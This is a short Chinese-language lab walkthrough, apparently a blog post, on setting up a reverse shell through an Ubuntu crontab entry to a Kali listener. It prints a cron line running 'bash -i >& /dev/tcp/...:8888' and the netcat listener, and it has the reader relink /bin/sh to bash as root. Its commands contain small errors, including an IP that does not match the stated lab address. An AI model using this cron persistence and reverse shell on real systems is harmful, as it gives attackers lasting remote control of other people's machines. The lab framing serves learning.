实现Ubuntu计划任务的反弹shell

Ubuntu：IP地址：192.168.223.156

Kali : IP地址：192.168.223.152

在Ubuntu的系统中使用crontab -e命令编写计划任务，如下所示：

作用：是将一个交互式的bash shell的输出和错误发送到kali的8888端口，并将输入也从该端口读取。

nc -lp 8888

-l：代表开启监听

-p：代表指定端口号

结果发现，等了两三分钟，一点反应都没有，没收到返回的shell；

因此不得不在Ubuntu中查看它的日志，使用

tail -f /var/log/syslog查看

如图所示，出现了No MTA installed ，discarding output

该信息提示没有安装邮件服务MTA（因特网邮件传送代理；Mail Transfer Agent），因为cron的错误信息是通过邮件发送的，所以这应该不是报的错误，为了能够查看到到错误，可以采取以下措施：

使用crontab -e再次修改计划任务，使得错误信息能够输入到一个文件中，方便我们查看

bash 复制代码

* * * * * bash -i  '>& /dev/tcp/192.168.0.127/8888 0>&1'>/tmp/error.txt 2>&1

可以看到，不存在/bin/bash这个文件，或者说是没被找到，也就是说linux中cron的命令执行的shell环境是/bin/sh。查看后发现，sh是指向dash的软连接，由于dash的shell是没有交互能力的，所以要将sh的软链接修改为bash，注意要在root权限下进行修改！！！

bash 复制代码

ln - s -f bash /bin/sh

可见远程成功，成功反弹shell！

总结：1.在编写crontab计划任务的时候要在root权限下进行编写

2.要将sh的软连接文件指向有交互性的bash上